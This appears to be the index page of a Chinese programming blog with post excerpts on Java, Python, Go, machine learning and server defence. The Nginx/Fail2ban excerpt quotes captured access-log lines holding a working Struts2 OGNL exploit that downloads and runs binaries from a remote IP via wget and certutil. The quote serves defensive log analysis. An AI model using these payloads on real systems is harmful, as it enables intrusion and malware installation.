0xCAFEBABE

Just for fun


  • 首页

  • 分类

  • 标签

  • 归档

  • 关于

  • 搜索

Nginx流量控制配合Fail2ban抵御流量攻击

发表于 2018-11-17 | 分类于 运维 | | 阅读次数:
字数统计: 1,762 字

前言

最近查看网站 Nginx 日志时,发现了很多恶意试探与攻击请求,最后是用 Nginx 自带的流量控制与 Fail2ban 动态黑名单解决了,效果不错,当有 IP 被 Ban 时还会有邮件通知,挺方便的。

Nginx log file

分析 Nginx 日志内容,其中既有尝试攻击 Struts2 远程执行漏洞的:

1
2
178.128.122.170 - - [16/Nov/2018:23:50:08 +0800] http "GET /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27uname%20--m%7Cgrep%20x86_64%20%3E%3E%20/dev/null%20%7C%7C%20(pkill%20loop%20&&%20wget%20-O%20.loop%20http://111.90.158.225/d/ft32%20&&%20chmod%20777%20.loop%20&&%20./.loop)&&(pkill%20loop%20&&%20wget%20-O%20.loop%20http://111.90.158.225/d/ft64%20&&%20chmod%20777%20.loop%20&&%20./.loop)%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action HTTP/1.1" 404 209 "-" "KeepAliveClient" "-" - 0.002
178.128.122.170 - - [16/Nov/2018:23:50:08 +0800] http "GET /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27certutil.exe%20-urlcache%20-split%20-f%20http://111.90.158.225/d/fast.exe%20c:/fast.exe&cmd.exe%20/c%20c:%5C%5Cfast.exe%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action HTTP/1.1" 404 209 "-" "KeepAliveClient" "-" - 0.003

也有尝试登录 WP 管理页面的:

1
2
3
4
5
6
93.115.97.183 - - [17/Nov/2018:06:04:45 +0800] http "GET /wp-login.php HTTP/1.1" 404 209 "-" "KeepAliveClient" "-" - 0.163
93.115.97.183 - - [17/Nov/2018:06:04:45 +0800] http "GET /administrator/ HTTP/1.1" 404 209 "-" "KeepAliveClient" "-" - 0.204
93.115.97.183 - - [17/Nov/2018:06:04:45 +0800] http "GET /admin.php HTTP/1.1" 404 209 "-" "KeepAliveClient" "-" - 0.203
123.31.30.209 - - [17/Nov/2018:06:08:27 +0800] http "GET / HTTP/1.1" 200 30075 "-" "KeepAliveClient" "-" - 0.005
123.31.30.209 - - [17/Nov/2018:06:08:27 +0800] http "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 404 233 "-" "KeepAliveClient" "-" - 0.154
123.31.30.209 - - [17/Nov/2018:06:08:27 +0800] http "GET /xmlrpc.php?rsd HTTP/1.1" 404 233 "-" "KeepAliveClient" "-" - 0.053
阅读全文 »

决策树算法之ID3/C4.5

发表于 2018-11-17 | 分类于 机器学习 | | 阅读次数:
字数统计: 1,633 字

前言

决策树由结点(node)和有向边(directed edge)组成。结点有两种类型:内部结点(internal node)和叶结点(leaf node)。内部结点表示一个特征或属性(features),叶结点表示一个类(labels)。

决策树学习通常包括 3 个步骤:特征选择、决策树的生成和决策树的修剪。

参考:周志华-《机器学习》&Peter Harrington-《机器学习实战》&李航-《统计学习方法》

信息量与信息熵

信息量是对信息的度量,可以由下式表示,其中$p(x)$为事件发生概率,信息量是对信息的度量。

信息熵(Information entropy)刻画了样本的纯度(purity),取值范围为0到1。其中0表示样本完全同质,即所有样本都是一类,越接近1代表样本越混乱。信息熵可以由下式表示。

阅读全文 »

Python并发编程之concurrent.futures

发表于 2018-11-15 | 分类于 Python | | 阅读次数:
字数统计: 1,957 字

一次请求超时问题所引申出的笔记

最近项目中遇到了一个问题,一个模块中的任务是计算密集型的,服务器的响应要十几到几十分钟不等(VPS是单核1G的学生机,没办法呀´・_・`),用户过来的请求自然会出现连接超时的问题。

初步想到的解决办法是把这个任务挂到后台去异步处理,然后先返回给用户一个任务已提交的提示就OK了。一开始用的是线程池 ThreadPoolExecutor,后来了解到 GIL 全局解释器锁这个神奇的存在,对于这种计算密集型任务必然会引起十分频繁的上下文切换,大大降低效率,所以最后的解决办法又换成了进程池 ProcessPoolExecutor。

本文使用的是 Python3 中自带的 concurrent.futures 并发模块。

阅读全文 »

设计模式学习

发表于 2018-11-09 | 分类于 Java | | 阅读次数:
字数统计: 3,219 字

单例模式

单例模式 ( Singleton pattern ) 确保一个类只有一个实例,并提供全局访问点。在 Java 中实现单例模式需要私有的构造器、一个静态方法和一个静态变量。

一般在以下两种场景中会考虑使用单例模式:

  • 产生某对象会消耗过多的资源,为避免频繁地创建与销毁对象对资源的浪费。如:对数据库的操作、访问 IO、线程池、网络请求等。

  • 某种类型的对象应该有且只有一个。如果制造出多个这样的实例,可能导致:程序行为异常、资源使用过量、结果不一致等问题。比如一个系统只能有:一个窗口管理器或文件系统等。

单例模式按加载时机可以分为:懒汉式和饿汉式;按实现的方式则可以分为:双重检查锁,内部类方式和枚举方式等等。

阅读全文 »

Java8 LinkedList源码阅读

发表于 2018-11-06 | 分类于 Java | | 阅读次数:
字数统计: 7,731 字

概述

1
2
public class LinkedList<E> extends AbstractSequentialList<E>
implements List<E>, Deque<E>, Cloneablejava.io.Serializable

ArrayList继承于AbstractSequentialList,实现了List接口、Deque接口、Cloneable接口(浅拷贝)、Serializable接口。总的来说,LinkedList是线程不安全的,允许元素为null的双向链表,它也可以被当作栈、队列或双向队列进行操作。

与ArrayList的比较

LinkedList与ArrayList相比,ArrayList的增删效率低(O(n)),但是改查效率高(O(1))。而LinkedList正好相反,由于其底层是链表实现的,增删(O(1))只需要修改链表节点指针,所以增删效率较高,而改查都需要先定位到目标节点(O(n)),故改查效率较低。同时,LinkedList不需要ArrayList中的批量扩容,也不需要预留空间,所以空间效率也比ArrayList高。

但是和ArrayList比,LinkedList没有实现RandomAccess接口,所以随机访问元素速度较慢。虽然作者做了折半查找的优化(根据index判断目标节点在链表的前半段还是后半段,然后决定是从头部开始尾部开始查找),但查找的时间效率仍然比较低。

阅读全文 »

基于Go实现的Nginx日志实时监控系统

发表于 2018-10-31 | 分类于 Go | | 阅读次数:
字数统计: 815 字

需求

已经在VPS上部署了一个网站,现在需要对Nginx的日志文件进行统计以监控请求流量、请求页面等内容,还需要对这些数据进行可视化。

流程

主要分为三部分,分别是数据处理、数据写入、数据可视化:

  • 数据处理,基本流程是读取access.log,然后对读取的数据正则处理
  • 将处理后的数据写入InfluxDB,InfluxDB是一个时序数据库,特别适合用于处理和分析资源监控数据这类时序数据
  • 数据可视化由Grafana实现
  • 此外还实现了一个通用的由httpserver实现的Monitor,可以返回Json形式的监控系统运行状况信息
阅读全文 »

Java8 ArrayList源码阅读

发表于 2018-10-14 | 分类于 Java | | 阅读次数:
字数统计: 7,573 字

概述

1
2
public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable

ArrayList继承于AbstractList,实现了List接口,是一个长度可变的集合,实现了RandomAccess接口,Serializable接口,Cloneable接口,即ArrayList支持随机访问、可序列化、可克隆。ArrayList中允许存在null值,此外,和Vector不同的是,ArrayList不是线程安全的,所有的方法均不是同步方法也没有加锁。

fail-fast机制

fail-fast机制也被称为”快速失败”机制,是Java集合中的一种错误检测机制。在对集合进行迭代过程中,除了迭代器可以对集合进行修改(add,set,remove操作),其他的对集合进行修改(同上),都会抛出ConcurrentModificationException错误。

该机制是基于一个变量——modCount实现的,每次对ArrayList进行add,set,remove等操作,都会执行modCount++。在获取ArrayList的迭代器时,会将ArrayList中的modCount保存在迭代中,每次执行add,set,remove等操作,都会执行一次检查,调用checkForComodification方法,对modCount进行比较。如果迭代器中的modCount和List中的modCount不同,则抛出ConcurrentModificationException

elementData被transient修饰的原因

由于ArrayList的底层是基于动态扩容数组实现的,即elementData中可能会存在一些空值,在序列化时显然是不需要这些值的。所以ArrayList的设计者将elementData设计为transient,然后在writeObject方法中手动将其序列化,并且只序列化了实际存储的元素,而不是整个elementData。

阅读全文 »

Java Socket编程实践

发表于 2018-09-24 | 分类于 Java | | 阅读次数:
字数统计: 742 字

前言

这次学习的是服务端与客户端之间的Socket通信,最后完成一个Socket实现多线程下的局域网实时聊天的小demo。

基于TCP的的Socket通信

服务器端的流程大致如下:

  1. 创建ServerSocket对象,绑定监听端口

    1
    ServerSocket serverSocket = new ServerSocket(port);
  2. 通过accept()方法监听客户端请求

    1
    Socket socket = serverSocket.accept();
  3. 建立连接后通过Input Stream读取客户端发送的请求信息

    1
    inputStream = socket.getInputStream();
  4. 通过Output Stream向客户端发送响应信息

    1
    outputStream = socket.getOutputStream();
  5. 关闭资源

客户端的流程大致如下:

  1. 创建Socket对象,设定连接服务器地址与端口号

    1
    Socket socket = new Socket("localhost", port);
  2. 建立连接后,通过Output Stream向服务端发送请求信息

    1
    OutputStream outputStream = socket.getOutputStream();
  3. 通过Input Stream获取服务器响应的信息

    1
    InputStream inputStream = socket.getInputStream();
  4. 关闭资源

阅读全文 »

GeoMAN:基于多层注意力机制网络的地理传感器时间序列预测模型

发表于 2018-09-01 | 分类于 读论文 | | 阅读次数:
字数统计: 2,458 字

原论文

Yuxuan Liang, Songyu Ke, Junbo Zhang, Xiuwen Yi, Yu Zheng, “GeoMAN: Multi-level Attention Networks for Geo-sensory Time Series Prediction”, In International Joint Conference on Artificial Intelligence (IJCAI), 2018.

前言

之前都没关注过城市计算这个领域的问题,在搜索基于LSTM的PM2.5预测相关工作的时候偶然发现这篇来自AI顶会之一的paper,觉得这领域的一些内容也是十分具有前沿性与挑战性的,做的工作也非常有现实价值,此文作者是原微软亚洲研究院研究员、现京东金融集团副总裁、首席数据科学家郑宇。

据了解,京东的城市计算业务部已经部署了基于这个模型的自来水质预测系统,以期能够指导自来水工厂更科学地进行投氯消毒,保证居民饮用水质。还可以及时发现水管健康状态,并在第一时间进行维护、修理,为政府的城市建设决策提供参考。

摘要

城市中的传感器每天都源源不断不断地产生大量随着时间变化的数据,这些有着独立地理位置的传感器产生的时间序列数据之间往往存在着空间上的联系,论文将这些数据称为“地理传感器时间序列”(Geosensory Time Series)。如何对这些具有时空关联性的地理传感器时间序列数据进行预测是一个十分具有挑战性的问题。

这篇paper提出了一种GeoMAN(Multi-level Attention Network)结构的预测模型,该模型基于Encoder-Decoder结构,在时空数据预测问题上首次引入了多层注意力机制,对各传感器之间的动态时空关联性进行建模,并通过在Decoder阶段融合传感器对应的兴趣点(POI)信息、传感器ID和天气预报数据等外部因素显著提升了模型的性能。

该模型不仅在PM2.5预测上取得了成功,在自来水质预测上也有着同样的出色表现,是一个在地理传感器时间序列预测问题上通用的模型。

问题

预测时空序列数据的挑战性主要体现在以下两方面:一、动态的时空关联性;二、外部因素。

阅读全文 »

[个人翻译]Java异常处理的9个最佳实践

发表于 2018-08-30 | 分类于 个人翻译 | | 阅读次数:
字数统计: 3,154 字

前言

异常处理是每个程序员的必备技能,这篇文章介绍了Java异常处理的9个最佳实践,在Dzone上获得了110+个like。
文章为个人兴趣译制,原文链接请点击这里。译文已投稿至ImportNew,感谢原作者的奉献,感谢”hanxiaomax”的校对。

9个最佳实践

无论你是新手还是资深程序员,复习下异常处理的实践总是一件好事,因为这能确保你与你的团队在遇到问题时能够处理得了它。

在 Java 中处理异常并不是一件易事。新手觉得处理异常难以理解,甚至是资深开发者也会花上好几个小时来讨论是应该抛出抛异常还是处理异常。

这就是为何大多数开发团队都拥有一套自己的异常处理规范。如果你初进团队,你也许会发现这些规范和你曾使用的规范大相径庭。

尽管如此,这里还是有一些被大多数团队所遵循的最佳实践准则。以下9个最重要的实践方法能帮助你开始进行异常处理,或提高你的异常处理水平。

1.在 Finally 中清理资源或使用 Try-With-Resource 语句

在实际开发中会经常遇到在 try 中使用资源的情况,比如一个 InputStream ,在使用后你需要关闭它。在这种情况下,一个常见的错误是在 try 的尾部关闭了资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void doNotCloseResourceInTry() {
FileInputStream inputStream = null;
try {
File file = new File("./tmp.txt");
inputStream = new FileInputStream(file);
// use the inputStream to read a file
// do NOT do this
inputStream.close();
} catch (FileNotFoundException e) {
log.error(e);
} catch (IOException e) {
log.error(e);
}
}

这种情况的问题是,只要异常没被抛出,程序就能很好地运行。所有在 try 中的代码都将被正常执行,资源也会被关闭。

但是,用 try 总是有原因的。当你调用一个或多个可能会抛出异常的方法或自己主动抛出异常时,程序可能会无法到达 try 的尾部。于是在最后,资源将不被关闭。

因为,你应该将所有清理资源的代码放进 finally 中,或使用 try-with-resource 语句。

阅读全文 »
1…345
Marticles

Marticles

48 日志
15 分类
15 标签
GitHub E-Mail
Creative Commons
© 2018 LJH's Blog | 累计字数 137.1k
载入天数...载入时分秒...
访问量